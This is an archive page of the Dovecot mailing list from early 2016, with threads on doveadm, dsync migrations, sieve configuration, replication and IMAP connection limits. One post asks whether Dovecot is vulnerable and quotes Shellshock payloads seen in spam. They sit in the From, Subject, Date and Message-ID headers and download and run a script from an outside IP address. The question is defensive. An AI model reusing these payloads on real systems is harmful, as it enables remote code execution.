I regularly get such info in my logs e.g. Feb 1 14:10:45 server dovecot: imap(user): ID sent: name=iPhone Mail, version=12F70, os=iOS, os-version=8.3 (12F70) Only for IMAP (ID extension?).

Can you "doveadm search" with mailbox location instead of a user (-u option)?
by Christian Rohmann 02 Feb '16

02 Feb '16

Hey dovecot-users! doveadm import offers to use i.e. a maildir as source and then import into a users mailbox referenced via "-u" option. If one wants to import only certain emails from the source a search-query can be given as well. I was wondering if doveadm search also does offer to search a mailbox referenced by filesystem path i.e. doveadm search maildir:/srv/mailboxes/example.com/mailbox123 NEW Maybe a fixed mailbox location via "-o mailbox_location=maildir:/srv/mailboxes/example.com/mailbox123" does work, but then it's rather a side effect as one needs to define a user via "-u" parameter anyways.

Dear All, is it possible to store ACLs in LDAP? Does anyone happen to have a script that syncs ACLs read from LDAP with Dovecot? - Chris

Re-starting replication after a long disconnect
by John Krug 30 Jan '16

30 Jan '16

Using Dovecot 2.2.15.8 We use dsync as shown at http://wiki.dovecot.org/Replication <http://wiki.dovecot.org/Replication> to have a second copy of our mail store. Users connect to one server and the other is considered a secondary, and is there “just in case”. If one-way backup/sync would make more sense, I would consider that, but at the time we set it up (October 2013), I recall there was some issue with one-way not being as reliable. We had some problems with the secondary mail server and had to take it off line for while. Now that the mail on that server is stale, what is the best way of starting over? When I simply turned it back on after a lengthy break (weeks), some users were reporting deleted messages showing up in their inboxes. I know dsync is master/master and uses index files, but I am not certain of the details and whether this behavior is completely unexpected or not. The laundry list: What are the f and R flags for sync? http://wiki2.dovecot.org/Tools/Doveadm/Sync Use doveadm backup to get the initial data over to the seconday? Can the server be in use while I do backup? Do I need to wipe the secondary and start over?

Setting Recent Flag on New Messages?
by Haravikk 29 Jan '16

So I’m looking at setting up some house-keeping for my dovecot mailboxes, specifically deleting messages in trash, spam etc., by deleting Seen messages older than X days. In order to protect against the edge case of a user reading a message right before the deletion task however I’d like to do something like the following: doveadm expunge -A OLD SEEN BEFORE 7d MAILBOX Trash doveadm flags -A remove '\Recent' SEEN BEFORE 7d MAILBOX Trash (except I’m actually doing this per-user with a script and per-user settings for flexibility, but you get the idea) Basically the expunge step only deletes messages without the Recent flag (and which haven’t been marked as unseen again). It then removes this flag from messages which have been seen, so that they will be deleted next time the expunge command runs. In other words, if this command runs once a day, there will be a minimum delay of 24 hours between a message being seen, and then being deleted. However I can’t for the life of me figure out how to set the Recent flag except via doveadm flags. While I could periodically run doveadm -A flags add ‘\Recent’ SEEN or such this doesn’t seem like a great way to do it (adding the flag after the messages are stored), really I’d rather do it as they arrive. I’ve tried sieve, but it can’t set this flag. Have I managed to completely miss an option for setting this when new messages arrive?

Dovecot (director, lmtp) IPv4/IPv6?

Hello, I'm build system with two director/proxy and dual stack network (or IPv6-only local services) http://wiki2.dovecot.org/Director say "This also means that a single director ring must use either IPv4 or IPv6 addresses, but not both at the same time."

Correct Way to Run expunge for All?
by Haravikk 29 Jan '16

29 Jan '16

So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I’m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn’t an accidental use of this command, so who do I force it to proceed? Going forward I’d like to recommend that expunge -A DELETED should be allowed, as it doesn’t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won’t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn’t an accident; anyone adding this to all their queries deserves the damage they inflict =)

Maildir to mdbox conersion size issue
by Petr Bousek 28 Jan '16

28 Jan '16

Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr

is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 27 Jan '16

27 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

ot: data consumption IMAP vs POP
by voytek＠sbt.net.au 27 Jan '16

27 Jan '16

I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V

Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21
by Stephan Bosch 27 Jan '16

27 Jan '16

Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

[Bug/Enhancement] doveadm user ignores -f option when performing a wildcard search
by Haravikk 25 Jan '16

25 Jan '16

The title mostly says it all on this one, but it seems that doveadm user has unique behaviour when a wildcard username is given, causing it to return a list of matching usernames in place of regular output, ignoring other command line options such as the -f (field) option. For example, I had hoped to use the following command in a script to easily get a list of all user home locations (excluding local users): doveadm user -f home *@* However the results are a list of usernames, rather than a list of home locations as I had hoped. I’ve tagged this thread as Bug/Enhancement as outputting a list of matched usernames is clearly the intended behaviour, but it could certainly be clarified, as could the fact that the -f option is ignored in this special case. I think that the correct “fix” here is to clarify in the documentation that wildcard matching is a separate use-case of this command in which the -f (and possibly other?) options are ignored and the results are always given as a list of matching usernames. It needs to be clear that doveadm user user(a)domain1.tld user(a)domain2.tld and doveadm user *@* are not equivalent, even if those are the only two users, as this differs from many other unix commands where wildcards are permitted, e.g- using rm with a wildcard is equivalent to adding all matching files to the command yourself. However, in future I’d like to see support for the -f option with wildcard matches as well, with -f user simply being the default. This would be much easier for a script inspecting user home directories, as for now my alternative is to use the wildcard match to get a list of names, then call dovecot user -f home <user> for each one to get their home location, which isn’t nearly as nice =) - Haravikk

Mailbox doesn't exist: test
by ＠lbutlr 25 Jan '16

25 Jan '16

I’ve been getting an error when trying to save mail based on address extensions where dovecot is not creating the mailbox: dovecot: lda(user(a)example.com): msgid=<Balhs-user(a)example.net>: save failed to open mailbox test: Mailbox doesn't exist: test Is this is as simple as adding lda_mailbox_autocreate = yes to my conf file, and does it go at the ‘top’ level of the file, or does it need to be in some sort of clause? -- There is something to be said for grace and respect but humour alway helps - Toby Morris

Problem (bug?) copying mail folders
by Keith Edmunds 24 Jan '16

24 Jan '16

I have reported a bug to Claws Mail (http://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=3601) however, I see some behaviour from Dovecot that looks odd to me. Background: I am trying to copy a folder to another part of the IMAP folder hierarchy. The destination parent folder is ACL protected; I have lirwstpeak rights. Claws initially tries to create the destination folder and then copy the mails from the source to destination. The destination parent folder is 'public/accounts'; the folder being moved there is 'test' and 'public/accounts/test' does not exist at the start of the process. This is from Dovecot's rawlog: 11 LIST "" "public/accounts/test" 11 OK List completed. 12 CREATE "public/accounts/test" 12 OK Create completed. 13 LIST "" "public/accounts/test" 13 OK List completed. 14 SUBSCRIBE "public/accounts/test" 14 NO Mailbox doesn't exist: public/accounts/test 15 UID COPY 1:2 "public/accounts/test" 15 NO [TRYCREATE] Mailbox doesn't exist: public/accounts/test What I don't understand: the response to command 12 suggests that the destination folder has been created; the response to commands 14 and 15 suggest it hasn't. At the completion of the process, the 'public/accounts/test' folder DOES exist, but it's empty, supporting the fact that it may not have existed when command 15 was executed. Is there some kind of race condition here - or have I just misunderstood how this should work? ------------------------------------------------------------ Running on ext4 filesystem; dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 ext4 lda_mailbox_autocreate = yes mail_debug = yes mail_location = maildir:/srv/mail/imap/%u:LAYOUT=fs mail_plugins = acl fts managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no location = maildir:/srv/mail/imap/public:INDEX=/srv/mail/imap/public.indexes/%u.index:LAYOUT=fs prefix = public/ separator = / subscriptions = no type = public } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { acl = vfile acl_shared_dict = file:/srv/mail/imap/shared-mailboxes fts_autoindex = yes sieve = /home/sieve/%u.sieve sieve_dir = /home/sieve/%u } protocols = " imap sieve sieve" service imap { executable = imap postlogin } service managesieve-login { inet_listener sieve { port = 4190 } } service postlogin { executable = script-login -d rawlog } ssl_cert = </etc/dovecot/dovecot.pem ssl_dh_parameters_length = 4096 ssl_key = </etc/dovecot/private/dovecot.pem ssl_protocols = !SSLv2 !SSLv3 userdb { args = uid=imapmail gid=imapmail default_fields = home=/dev/shm/%u driver = static } protocol lda { mail_plugins = acl fts sieve } protocol imap { mail_max_userip_connections = 20 mail_plugins = acl fts imap_acl } -- "Why does God hate me so much?

Dear List! I have a dovecot installment with postgresql based user management. My problem is i see this in postgresql's log file: root@c13:/var/lib/postgresql/9.4/main/pg_log# cat postgresql-2016-01-24_12.log | grep 26105 2016-01-24 16:34:43 CET [26105-1] maildata@mail ERROR: permission denied for relation i3sysadm_email_account 2016-01-24 16:34:43 CET [26105-2] maildata@mail STATEMENT: DELETE FROM i3sysadm_email_account WHERE userid = 'account(a)mydomain.com' This is the error message from dovecot side (i have a lot, so this is from another date): root@c10:/var/log/dovecot# cat mail.log | grep "Jan 24 17:41:29" Jan 24 17:41:29 dict: Info: pgsql(127.0.0.1): Disconnected from database, retrying commit Jan 24 17:41:29 dict: Error: sql dict: commit failed: ERROR: permission denied for relation i3sysadm_email_account (query: DELETE FROM i3sysadm_email_account WHERE userid = 'account(a)mydomain.com') Why the hack dovecot want to delete my e-mail account?

How to skip errors on doveadm backup for migration ?
by Christoph Adomeit 24 Jan '16

24 Jan '16

Hi there, I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. About 40 Users with 200000 Messages each. Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail cannot be exported by cyrus. I do not want to bother about these errors. Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. My problem is that doveadm backup exits with an error if it cannot read a mail. Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? I want to use doveadm sync because it preserves the uids of the mails. Imapsync works great but does not prserve uids. cyrus2dovecot is not an option because it does not work incremental and conversion would take far too long. Any ideas what I can do ? Thanks Christoph

Sieve "foreverypart" and "mime" extensions (RFC 5703) now implemented
by Stephan Bosch 24 Jan '16

24 Jan '16

Hi, I have finally managed to implement the Sieve "foreverypart" and "mime" extensions (RFC 5703). These are now included in the main Mercurial repository and will be included in the next release. I will be fixing a few minor details in the coming week; e.g., interaction with "include" and "editheader" extensions needs more work. Still, in the mean time, those of you who are interested can already test this feature a bit. It is not a small feature, so knowing bugs early is helpful. You can install it from the Mercurial repository or get the latest Debian packages from Xi. When I finish the last details (probably next week), I will release a first RC version of Pigeonhole v0.4.10 right away. Regards, Stephan.

how do I get the version of the pigeonhole-sieve plugin

dovecot director redirect some user to always same backend
by Tobi 22 Jan '16

22 Jan '16

Hello list I have a question on how to enforce certain user(s) always to the same backend in a dovecot setup with director. So I changed my passdb-mysql query SELECT password AS password, username AS destuser, 'Y' as proxy, (CASE username WHEN LIKE 'user' THEN '10.66.99.6' ELSE null END) as host from mailbox WHERE username = '%u' AND active = 1; But then I saw in the dovecot manual that the director does nothing if the passdb query already returns a host field. So I'm quite unsure whether a host field with value NULL means that the host field is not present and therefore the director should insert it into the result or not. Thanks tobi

Hypothetical feature suggestion
by Stephen Feyrer 21 Jan '16

21 Jan '16

Hi, Assuming one sends an E-mail which in turn requires either an update or correction. The current practise is to send a subsequent E-mail with the new or corrected info. I would like to suggest a small feature. I recognise that this would require that the sending application would need to support this same feature. The sender should be able to edit a sent email, transmit a diff of the original and then the receiving mail store composite the changes into a new email. This could be with or without features to allow the review historic versions of said E-mail. Alternatively, regular expressions could be employed to achieve this effect (albeit, a more complex approach). This would provide a kind of Web 2 look on E-mail. -- Kind regards Stephen Feyrer

Multiple Domains
by Doug Hardie 20 Jan '16

20 Jan '16

I have Dovecot 2.2.19 running. However, one client has a rather unusual need. There are multiple domains that currently access their mail on the server. However, this on domain/client wants to use a different port for their users to access mail. Anyone on the standard port trying to download mail would receive an invalid user error (or whatever the proper error for that is). Likewise, only this clients users could access their mail on the new port. Is this possible? — Doug

dsync: loss of keywords in 2.2.13
by Benoit Branciard 20 Jan '16

20 Jan '16

After some tests, we found that "dsync backup" sometimes fails to copy all the IMAP "keywords" (labels) from the source mailbox to the backup one. Our Dovecot version is 2.2.13 (Debian Jessie package 1:2.2.13-12~deb8u1). We are migrating mailboxes from MBOX (with separate indexes) to MDBOX (with custom DIRNAME) format. The source mail_location is: mail_location = mbox:~/mail:INBOX=~/mail/INBOX:INDEX=/var/cache/dovecot/indexes/%16Hu/%u and the target: mail_location = mdbox:~/mdbox:DIRNAME=_@@_dbox-Mails_@@_ and we use the following dsync command to replicate (twice, a first "hot" run, and a second "cold" run with lda and user kicked off). dsync -o mail_access_groups=$mgroup -u "$login" backup "mdbox:$mdbhome/mdbox:DIRNAME=_@@_dbox-Mails_@@_" where $login is username, $mgroup is an UNIX group which has write access to the (temporary chowned/chmoded) mailbox, and $mdbhome is the new (MDBOX) user's home. It appears that some keywords get replicated, but some other do not. The only workaroud we found is to backup all keywords with "doveadm fetch 'mailbox uid flags' keywords '*'", an restore them on the new mailbox with "doveadm flags add". This solution yields no keyword loss. has this problem already been addressed ? -- Benoit BRANCIARD Service InfraStructures (SIS) Direction du Système d'Information et des Usages Numériques (DSIUN) Université Paris 1 Panthéon-Sorbonne Centre Pierre Mendès France 90 rue de Tolbiac - 75634 Paris cedex 13 - France Bur.

sieve and authentication
by Brendan Kearney 20 Jan '16

20 Jan '16

when i telnet to the sieve instance running with dovecot, i see that SASL is supported, but i cannot get thunderbird to connect to the sieve instance. it seems that i am not providing the right auth methods for sieve to work. "IMPLEMENTATION" "Dovecot Pigeonhole" "SIEVE" "fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate" "NOTIFY" "mailto" "SASL" "" "STARTTLS" "VERSION" "1.0" OK "Dovecot ready." i am setup with gssapi and pain auth mechanisms and want to leverage Kerberos / SASL for authentication. what do i need to enable (and where) to get sieve working in a MUA? i tried adding the digest-md5 mechanism to the auth_mechanisms directive, but that does not work with Kerberos (or maybe my implementation of Kerberos in my environment). any ideas where i should be looking? thanks brendan

remote | local blocks in protocol settings
by Nikolaos Milas 19 Jan '16

19 Jan '16

Hello, Where can I find detailed documentation on how "remote" & "local" blocks are used in protocol configuration to provide specific settings for particular IPs/Names? I've been searching around (wiki2, Google) but I found very few things. I also checked in the conf.d directory of the installation and couldn't find anything. One useful thread was here: http://www.dovecot.org/list/dovecot/2010-June/050069.html where we can read about the "filter" hierarchy: protocol name { remote <ip|name> { local <ip|name> { but I would really appreciate reading more complete documentation (and, hopefully, examples). Thanks, Nick

No, I occasionally look at log entries for "Maximum number of connections from user+IP exceeded" errors. I may look at the output of "doveadm who" if I want to see a breakdown of how many clients a user is using, or just getting an overall view of how my users are spread out. >>> 4.

If you can get that working, that would be the better method. Running 2 different instances with 2 different config files might come in handy for cases where you have very different policies between localhost/remote networks. Joseph Tam <jtam.home(a)gmail.com>

What should we take into account when deciding the value for > mail_max_userip_connections? It depends on how many users you have, the number of simultaneous clients they use, and the #connections each client opens. Potentially, you could exhaust connection limits -- they usually don't max out memory or CPU or disk since most of the connections are idle. (There is a new IDLE hibernate feature that might help to minimize memory use by idle imap worker processes.) I haven't found a value that gets rid of users running into connection limits. If I set it to n, the next day someone will choke on n+1. This is a snapshot connections (count : #connections) which shows the typical decay: 25 1 14 2 14 3 7 4 9 5 1 6 2 7 1 8 1 10 Occasionally, some user's connection demand will spike and exceed the limit because - they started yat another client - they started global operation like searching - they're using a network that support roaming IP (I've tracked some users across the city on their bus ride.) Pragmatically, I set it high enough so that it meets the need of most clients, then deal with problems on a case by case basis (e.g. get them to lower their mail client's idle connection setting, or asking them to reduce the number of active clients by logging out). It also prevents what this setting was designed for: connection starvation by busy/buggy clients. Usually, hitting the limit doesn't produce problems as mail clients are smart enough to close idle connections or reuse them. If you only got a dozen users, setting it to 100 is feasible. If you got 1000 users, probably not. > 4. How can we set a different value to this directive for webmail > connections (coming from 127.0.0.1, ::1)? I don't know if there is another method, but at the very least, you can start another dovecot instance with another config file that does specific things for 127.0.0.1.

The session ID is harmless. Anyway, I'm having trouble figuring out how the crash could happen or how to reproduce it. According to the backtrace it seems like the client is running IDLE and then it sends "DONE\r\nNOOP\r\n" in same IP packet. But when doing that, I don't see a crash. Although during testing I did find several other bugs. Could you try patching and seeing if you still get the same crash after them? Or have you seen the crash after the initial few times? https://github.com/dovecot/core/commit/1ddf959a750f3860feff4ab3f0e908f32740… https://github.com/dovecot/core/commit/c8e9fa2ffa2566e75f0500808b1bc9bf5d9d… https://github.com/dovecot/core/commit/15307c2c91854e766bd9fb095d611a29b3f7… https://github.com/dovecot/core/commit/c7801f830c7d2e7d340065cdd5a5c795b172…

Hi All, Have a CentOS 7, dovecot and postfix setup. Can get mail via 995 SSL/TLS Can send mail to virtual users and auto creation works using /etc/dovecot/passwd file via mail command. Using the dovecot lmtp and can login via 465 but the user lookup fails via postfix. in postfix main.cf have virtual_transport = lmtp:unix:private/dovecot-lmtp in dovecot.log I am seeing no errors in dovecot-info.log no errors either in maillog I am seeing: postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable open database /etc/postfix/virtual.db No such file. Note: I did go through creating the virtual.db and associated files but figured that it cant be correct as I want lmtp to handle it and it didn't work anyways, so I removed it. NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 <user@domain> Temporary lookup failure from=<user@domain> to=<user@domain> proto=ESMTP helo=<localhost.localdomain> -- obfuscated Tried every article I could find on the Internet to resolve this with out much luck.

Dovecot doesn't listen on port 143, 993 in SSL
by 남설 18 Jan '16

18 Jan '16

Dear Dovecot Team First of all, I always appreciated your contribution & effort. Dovecot is very good tool for me for a while since my 2 years Linux start. But, 3 days ago, I upgraded my ubuntu 15.04 to 15.10 Then, I realized that my dovecot mail sever didn't work. So I simply terminated all the packages and reinstall it. It means I can't remeber what my previous setting was in my memory. So, dovecot in run is ver 2.2.18 now. Dovecot -n shows below and there is no "SSL" option. then all the port 143, 993 opens(It's not accesible somehow from clients but it's next matter) ----------------------No SSL version------------------------ auth_mechanisms = plain login mail_location = maildir:~/Maildir namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } protocols = " imap" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } userdb { driver = passwd } ----------------------------------------------------------- But, If I turn on SSL option with encrypt key and certicate, all port 143, 993 just disappeared.

doveconf syntax question
by A. Schulze 18 Jan '16

18 Jan '16

Hello, I have one sieve extension enabled: /etc/dovecot/conf.d/20-sieve.conf: plugin { sieve_extensions = +vacation-seconds } now (months later) we want to enable an other extension. no big deal: /etc/dovecot/local.conf: plugin { sieve_extensions = +editheaders ... } This was wrong. We ASSUMED the plus would add the extension to the list. But at the end only +editheaders was activ. What's the right way to /add/ sieve_extensions from different config files? our guess "sieve_extensions = $sieve_extensions +editheaders" do not work: doveconf -a | grep sieve_extensions doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions doveconf: Error: managesieve-login: dump-capability process returned 89 doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions Andreas

Running without anvil?
by Dave Abrahams 18 Jan '16

18 Jan '16

Hi, I'm using dovecot as a local mail store on my laptop using preauth tunneling. It turns out I almost don't even need to start dovecot at all; the only reason it needs to be running is so that FTS indexing can be invoked. And because I don't want it to run any services, I can run it as an unprivileged user, so long as I turn them all off: # We don't want to serve any protocols, so we don't bind to any ports. # We can run everything as me. protocols = default_login_user = dave default_internal_user = dave The only thing is, I keep getting these in var/log/mail.log: anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) failed: Operation not permitted master: Error: service(anvil): command startup failed, throttling for 60 secs auth: Error: read(anvil-auth-penalty) failed: EOF Any suggestions? TIA, Dave

sieve - configuration problem
by Hajo Locke 18 Jan '16

18 Jan '16

Hello List, first thanks for previous hints, you helped me a lot. Unfortunately i have new problem with sieve and executing multiple scripts sequentially. This is current conf which is complete working : #CONF1 plugin { sieve = ~/sieve/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } i also activated managesieve which is working as well. Now iam looking for a way to run individual scripts for users. My idea is to have a system generated script which may run before or after the personal script. Additional the system scripts should not be viewed or changed by mailusers. So i tried with directives sieve_before and sieve_after: #CONF2 plugin { sieve = ~/sieve/.dovecot.sieve sieve_before = ~/sieve_before/.dovecot.sieve sieve_after = ~/sieve_after/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } every single script "~/sieve/.dovecot.sieve", "~/sieve_before/.dovecot.sieve" and "~/sieve_after/.dovecot.sieve" contains a small rule to add a new mailheader (X-Before, X-After, X-Middle) so i can watch what happens. The problem is: Every single script is working, but only when this directive is the only one which is activated in conf. As soon as i enable another directive absolut nothing is happen. It does not matter which combination of directives (sieve|sieve_before_sieve_after) is enabled or disabled. Just as a second one is enabled sieve seems to do nothing. Mail is delivered by lda but no songle one headerentry is added. What happens here and how to solve this? Currently i use dovecot 2.2.21 and sieve 0.4.11 Thanks, Hajo

Dockerfile for building latest github version
by KT Walrus 16 Jan '16

16 Jan '16

Is there a Dockerfile for building/installing the latest Dovecot version in a Docker Image? I don't see Dovecot in the Official Repositories on the Docker Hub like almost all the other popular open source software packages that I use. Why no Official Docker repo for Dovecot? All the user contributed repos containing Dovecot in the Docker Hub seem to just install from a distribution’s repo (like Ubuntu 14.04) but these packages seem to lag the most recent version of Dovecot that I see in GitHub.

Courier generates new UIDVALIDITY
by Peer Heinlein 15 Jan '16

15 Jan '16

We just detected, that under some circumstances Courier-IMAP will generate a new UIDVALIDITY for every access to an IMAP-folder, if the folder had been created by a simple "mkdir" and not with maildirmake. Courier doesn't save his uidvalidity-file in this case. Courier DOES generate a sticky UIDVALIDITY after the first "real" access by a User through the IMAP-SELECT-command. That's why this problem isn't a "real" problem in the world. Courier does NOT create this IMAP-UIDVALIDITY if the user just uses POP3-access, because there the UIDVALIDITY isn't used. We have a migration scenario where we have many users with POP3-only access (so that they DO have many mails in der INBOX) and an incremental migration trough doveadm/dsync/imapc fails (caused by consequently changing UIDVALIDITYs). doveadm just uses the IMAP EXAMINE command to open the source IMAP-folder on the Courier's side readonly. Courier DOES handle this access "readonly" and doesn't consequently doesn't generate a UIDVALIDITY-file. Instead Courier uses random UIDVALIDITYS by every access and doveadm always has to copy all mails (and duplicates them if "-1 -R" is used!). To fix this problem and to make a migration and/or doveadm backup/sync much more reliable Dovecot should open the source folder with a SELECT command instead. (Maybe one SELECT and then change to EXAMINE, if you think EXAMINE would be more safe.) Maybe this is also relevant for a real permanent imapc-situation, where Dovecot/imapc is used to fix broken IMAP-implementations from an older backend.

doveadm/dsync/imapc loose folder subscriptions
by Peer Heinlein 15 Jan '16

15 Jan '16

As I already wrote some days ago we're actually running a huge migration using doveadm/dsync-backup/imapc: doveadm -o imapc_user="$UNAME1" -o imapc_password="$PWORD1" -o imapc_host=$SERVER1 -o pop3c_user="$UNAME1" -o pop3c_password="$PWORD1" -o pop3c_host=$SERVER1 -D -v backup -R -u "$UNAME2" imapc: We just noticed that doveadm looses changes in folder subscriptions if a folder is copied again. a) Copy a mdbox-home of a user (using doveadm backup...) b) Change his subscriptions on the source-side OR change his subscripts on the destination-side OR delete his subscriptions-file. c) Copy that mdbox-home from that user again (using doveadm backup...) doveadm will copy & merge his mails, but he does NOT check for changes in folder subscriptions. As you can see in the attached logs, doveadm nitices changes in subscriptions: dsync(p100490p11): Debug: brain S: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=yes last_change=0 last_subs=0 dsync(p100490p11): Debug: brain M: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=no last_change=1448903088 last_subs=1448177531 but doesn't fix the subscriptions list: dsync(p100490p11): Debug: brain M: Mailbox INBOX.Trash: local=b36f688eae08506001091708006abe5a/1448903088/1, remote=b36f688eae08506001091708006abe5a/0/1: Mailboxes are equal Even a deletion of the subscriptions file doesn't work. doveadm does not create a new subscription file. This bug is heavy, because incremental backups made by doveadm backup aren't complete and reliable any more. Our biggest problem ist, that we changed the folder prefix and doveadm does change the folder names, but not the subscriptions. So we have several hundred thousand users with broken subscriptions (yes, sed can fix this, I know, but also we'd kill changes made by users during migration period).

Increasing mail_max_userip_connections and sys resources
by Nikolaos Milas 15 Jan '16

15 Jan '16

In our low-traffic server we have always kept the default value for IMAP mail_max_userip_connections (10). The server has been working fine! (Thank you Timo for this!) However, recently we have been having: Maximum number of connections from user+IP exceeded errors both for IMAP and webmail users. Thus, we have now changed the value to 100. The questions: 1.Might this lead to overloading the server? 2. Could another dovecot setting prevent the above setting from being applied (e.g. due to connections exhaustion), i.e. should we also change other setting(s)? 3. What should we take into account when deciding the value for mail_max_userip_connections? 4. How can we set a different value to this directive for webmail connections (coming from 127.0.0.1, ::1)? The config follows for your reference (I've only changed the real domain name). Thanks in advance for your help.

doveadm/dsync/imapc and foldernames including a "%"

We're using doveadm/dsync/imapc to migrate accounts from Courier to Dovecot 2.2.20. On the source-server some user have folder names including a "%" in their name. Looks like doveadm isn't able to handle that folder names. I always stops with: dsync(testtest): Error: Failed to access mailbox INBOX.Test%TEST: Mailbox does not exist, or must be subscribed to.

Problem! Dovecot 2.2.9 does not send the information on ending the quota to user
by Serge Spinoza 13 Jan '16

13 Jan '16

